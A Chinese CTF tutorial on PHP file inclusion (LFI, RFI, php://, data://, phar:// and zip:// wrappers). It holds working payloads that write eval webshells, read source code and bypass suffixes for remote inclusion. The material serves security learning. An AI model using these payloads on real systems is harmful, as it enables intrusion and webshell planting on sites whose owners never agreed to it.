文件包含漏洞
粗略分为三种存在形式:
本地文件包含(LFI)、远程文件包含(RFI)、PHP伪协议的利用
0x01 基本概念
引用CA01H师傅的讲述
“严格来说,文件包含漏洞是代码注入的一种,其原理就是注入一段用户能控制的脚本或代码,使服务器端执行。至于文件包含,也就是一种“外部数据流包含”,这个外部数据流可以是文件,也可以是POST数据流的形式。”
0x02 利用函数
就PHP而言,有如下可利用的函数
require() //遇到错误生成致命错误,**继续**执行脚本
require_once() //如果文件已包含,则不再进行包含,一定程度避免错误
include() //遇到错误生成警告,**继续**执行脚本
include_once() //如果文件已包含,则不再进行包含,一定程度避免错误
fopen()
file_get_contents()
file_put_contents()
readfile()
...
包含的内容不会经php判断,参数输入图片、文本、URL等都可被执行
0x03 适用条件
allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件)
名字 | 默认 | 可修改范围 | 更新日志 |
---|---|---|---|
allow_url_fopen | "1" | PHP_INI_SYSTEM | |
allow_url_include | "0" | PHP_INI_SYSTEM | 自 PHP 7.4.0 起废弃。 |
通过这些设置,我们便可以将文件包含漏洞进行远程利用。
0x04 支持协议
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
0x05 PHP伪协议利用
先提及@Thinking师傅总结的
一、php://协议
php://input--代码执行
协议概念:访问请求的原始数据的只读流,将post请求的数据当作php代码执行
利用方式:?file=php://input 数据利用POST传过去
限制条件:enctype="multipart/form-data"
的时候 php://input是无效的,需要allow_url_include=On
CTF题目举例:
(1)file_get_contents()函数考虑使用php://input绕过
题目:
<?php
$flag = '123';
$file = $_GET['file'];
if (@file_get_contents($file) == 'meizijiu') {
echo $flag;
} else {
echo "wrong";
}
?>
解题:
(2)include()考虑使用php://input写入木马
题目:
<?php
$file = $_GET['file'];
include($file);
?>
解题:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
效果:
php://filter--读取源码
基本概念
php://filter 参数 | 描述 | |
---|---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 | |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(*\ | *)分隔。 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称,以管道符(\ | )分隔。 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
利用方式:
payload:
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php
?file=php://filter/string.rot13/resource=flag.php
?file=php://filter/string.toupper/resource=flag.php
?file=php://filter/string.strip_tags/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php
?file=php://filter/convert.quoted-printable-encode/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php
?file=php://filter/zlib.deflate|zlib.inflate/resource=flag.php
附加一点师傅的博客内容:
(1)
readfile("http://www.example.com");
等价于
readfile("php://filter/resource=http://www.example.com");
(2)
读取链
file_get_contents("php://filter/read=convert.base64-encode/resource=test.php");
写入链
file_put_contents("php://filter/write=convert.base64-decode/resource=[file]","base64");
这个点在ctf有时候会很有用,可以绕过一些waf
CTF题目举例:
题目:
<?php
error_reporting(0);
if (!$_GET['file']) {
echo 'wrong';
}
$file = $_GET['file'];
if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file, "data")) {
echo "Oh no!";
exit();
}
include($file);
?>
解题:
上面payload直接打就行
二、data://协议
基本概念:
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
限制条件:
allow_url_fopen()=On、allow_url_include=On(默认为Off)
利用方式:
payload:
?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==
注:最后一个URL使用file_put_contents()函数将<?php eval($_POST['cc'])?>写到了test.php文件当中
CTF题目举例:
题目:
<?php
echo 'for test';
include($_GET['file']);
?>
解题:
照上面payload打
三、phar://协议
利用方式:写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php
这个目前ctf用的很多,日后做详细分析(先挖个坑)
四、zip://协议
zip:// 可以访问压缩包里面的文件。
zip://中只能传入绝对路径;要用#分隔压缩包和压缩包里的内容,且#要用url编码%23代替
构造方法:
?file=zip://D:\file.zip%23flag.txt
- D:\file.zip表示压缩包的绝对路径
- 后跟%23分割压缩包和压缩包中要访问的文件名
URL绕过
query(?)
index.php?file=http://remoteaddr/remoteinfo.txt?
则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php
。
问号后面的部分/test/test.php
,也就是指定的后缀被当作query从而被绕过。
fragment(#)
index.php?file=http://remoteaddr/remoteinfo.txt%23
则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php
。
问号后面的部分/test/test.php
,也就是指定的后缀被当作fragment从而被绕过。注意需要把#
进行url编码为%23